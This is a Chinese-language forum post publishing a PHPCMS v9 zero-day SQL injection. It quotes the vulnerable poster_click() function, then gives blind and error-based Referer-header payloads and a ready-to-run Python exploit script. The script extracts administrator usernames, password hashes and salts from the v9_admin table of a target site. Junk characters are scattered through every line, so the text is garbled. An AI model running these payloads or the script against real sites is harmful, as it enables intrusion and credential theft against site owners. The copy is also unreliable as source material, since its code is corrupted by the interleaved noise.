有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:8 z! v9 {! H) J* {6 W* N' m/ U
/ z, u8 A9 W; j
问题函数\phpcms\modules\poster\index.php+ c5 [: h a( v- K* ?: D' `
! |, r E! V' y8 c: q) H& [6 mpublic function poster_click() {
: }% V+ _8 T6 w6 t- g' y$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
/ k3 M" z6 w- H! R0 r& X+ ?$r = $this->db->get_one(array('id'=>$id));
b# X: p1 ^! M: C5 i7 x' Wif (!is_array($r) && empty($r)) return false;
. c& Y5 ?, s1 O# B; x" B9 X6 {0 l$ip_area = pc_base::load_sys_class('ip_area');* l1 ~1 L- A# o
$ip = ip();
" u3 w! b. {( T. M$area = $ip_area->get($ip);
6 k! `5 l3 c) h" i- l5 y& o( }$username = param::get_cookie('username') ? param::get_cookie('username') : '';
) s5 v. j/ c, S5 _/ `! dif($id) {
3 y% B/ s0 l' i; O& s: A* A$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
( k& T) V2 q) p( L7 s- X$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
" {. n; r- D$ Y. k+ S6 y2 p}
4 e$ d/ Y* I) w3 t# D8 Y$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));5 }" g2 `5 e4 X4 A
$setting = string2array($r['setting']);9 d6 o5 V) P K; N# b5 }- I
if (count($setting)==1) {$ d# R( W- }% j# G* O% a9 x
$url = $setting['1']['linkurl'];* m3 t& s9 `/ w+ @* v9 e1 @8 ^0 g! i) p9 Z
} else {* E7 D+ r- |% V7 S3 Z9 @% f
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];0 m2 V; a, O# F
}
f7 ^! b) t F) Qheader('Location: '.$url);; _6 e* E3 V; J: p- h2 D& d0 _1 Y
}
3 a" E+ k1 Y" f3 h7 l# b* p
6 x9 L! N: K$ N/ D+ R* C
; L$ N5 \) V5 L* E4 `
+ M5 ?9 u! W6 i' m" _4 v5 v7 V利用方式:8 Y4 q8 D! F+ o$ Y0 ? t# }- K
3 [ I8 s' C0 P- M' Z) `# L7 j5 u9 ?
1、可以采用盲注入的手法:; P4 Z0 k0 ^/ ^2 w4 `; i( v
. G9 K; a6 m5 L% }referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#) Q6 z# p B8 \1 b* u
* n. g& ^8 @* q通过返回页面,正常与否一个个猜解密码字段。
3 B) z3 }) i3 _+ q f: w+ O5 V! V8 \2 V1 z+ ~; Q
2、代码是花开写的,随手附上了:8 k5 s; U" m7 e! O5 r: }0 a, G
* H+ H& v, K, ~6 _6 G
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
! x# n! F D# ~1 N) m
6 g) ~8 Y( ~, T* K; x L; T, A此方法是爆错注入手法,原理自查。4 n) u( ]4 L0 g/ G( `0 n1 i
$ C% [7 p5 E& B O
9 X- k/ S8 j4 V3 i) c% O9 T( t! N4 Z7 |: A
利用程序:* {* H9 }9 H/ B1 e2 ^- r
$ {' {' b, z2 j: C4 a#!/usr/bin/env python
. L4 j1 [5 v! U: N/ c! @ kimport httplib,sys,re
) B0 G( Z+ U$ ?3 E5 L/ L' }0 X2 H; \$ b9 I+ s0 q, g! t4 o
def attack():
' m3 T$ Z2 c( P8 Vprint “Code by Pax.Mac Team conqu3r!”, m( |; l: S7 }7 n
print “Welcome to our zone!!!”
% H2 ~8 e& I3 _5 t8 ], ]; b$ Gurl=sys.argv[1]
: F/ h4 y4 Q# x$ bpaths=sys.argv[2]
* h6 l# {1 B+ [& L8 ~8 a' T: econn = httplib.HTTPConnection(url)/ |- _* o+ }3 _6 h
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,' u9 x0 i' z* ]6 \
“Accept”: “text/plain”,+ |1 P$ F8 P/ h- C
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
7 G( h! j' G( Lconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)6 h6 l1 a8 q5 U6 ]1 R5 E. g% Q. ]
r1 = conn.getresponse()& q2 c+ H! I& K: b+ N
datas=r1.read()2 I, \/ w! Z& s! b
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
7 Q, `1 q7 A$ e# f8 M; O6 k1 Sprint datas[0]
6 v" O5 _! @, C t7 ]conn.close()
- E' p( f* s2 v& s0 A7 Lif __name__==”__main__”:% ]) e9 C" E- `3 z) n
if len(sys.argv)<3:
) y6 `; E7 I2 M! ~print “Code by Pax.Mac Team conqu3r”
5 ~; x+ a% {4 q4 q7 S5 [+ i( S/ aprint “Usgae:”
* H: A9 a6 ^, c. |1 i& O o# _print “ phpcmsattack.py www.paxmac.org /”
; G" N4 B. z' _2 U% n) ^0 sprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
$ Z. @- m4 ^$ D: esys.exit(1)
) F( i2 H: J3 j6 K3 d8 {attack()
2 D0 i: \8 q" r* z' j. \! a/ E: y) K7 t; d% f+ S
|